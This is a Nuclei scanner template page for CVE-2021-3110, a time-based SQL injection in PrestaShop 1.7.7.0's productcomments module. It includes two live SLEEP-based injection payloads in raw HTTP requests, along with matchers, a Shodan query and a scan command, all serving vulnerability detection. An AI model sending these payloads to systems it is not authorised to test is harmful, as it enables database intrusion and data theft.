Skip to content
Nuclei Templates

PrestaShop 1.7.7.0 - SQL Injection

ID: CVE-2021-3110

Severity: critical

Author: Jaimin Gondaliya,mastercho

Tags: time-based-sqli,cve,cve2021,sqli,prestshop,edb,prestashop

Description

Section titled “Description”

PrestaShop 1.7.7.0 contains a SQL injection vulnerability via the store system. It allows time-based boolean SQL injection via the module=productcomments controller=CommentGrade id_products[] parameter. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

YAML Source

Section titled “YAML Source”
id: CVE-2021-3110


info:
  name: PrestaShop 1.7.7.0 - SQL Injection
  author: Jaimin Gondaliya,mastercho
  severity: critical
  description: |
    PrestaShop 1.7.7.0 contains a SQL injection vulnerability via the store system. It allows time-based boolean SQL injection via the module=productcomments controller=CommentGrade id_products[] parameter. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of PrestaShop.
  reference:
    - https://medium.com/@gondaliyajaimin797/cve-2021-3110-75a24943ca5e
    - https://www.exploit-db.com/exploits/49410
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3110
    - https://medium.com/%40gondaliyajaimin797/cve-2021-3110-75a24943ca5e
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-3110
    cwe-id: CWE-89
    epss-score: 0.83896
    epss-percentile: 0.98474
    cpe: cpe:2.3:a:prestashop:prestashop:1.7.7.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: prestashop
    product: prestashop
    shodan-query: cpe:"cpe:2.3:a:prestashop:prestashop"
  tags: time-based-sqli,cve,cve2021,sqli,prestshop,edb,prestashop


http:
  - raw:
      - |
        @timeout: 20s
        GET /index.php?fc=module&module=productcomments&controller=CommentGrade&id_products[]=1%20AND%20(SELECT%203875%20FROM%20(SELECT(SLEEP(8)))xoOt) HTTP/1.1
        Host: {{Hostname}}
      - |
        @timeout: 20s
        GET /module/productcomments/CommentGrade?id_products[]=1*if(now()=sysdate()%2Csleep(8)%2C0) HTTP/1.1
        Host: {{Hostname}}


    redirects: true
    max-redirects: 3
    matchers:
      - type: dsl
        dsl:
          - 'duration_1>=8 && duration_2>=8'
          - 'status_code == 200 && status_code_2 != 404'
          - 'contains(body, "average_grade")'
        condition: and
# digest: 4a0a00473045022100e7fe475d3457dedad9a6935debd59fd2707ebbd191c810ce5219d58d88c0ed7a02203f8b4d1e9613a78065ae89bed22c3a450f089d78ab50668b4a040cd5c7b5ac9b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-3110.yaml"

View on Github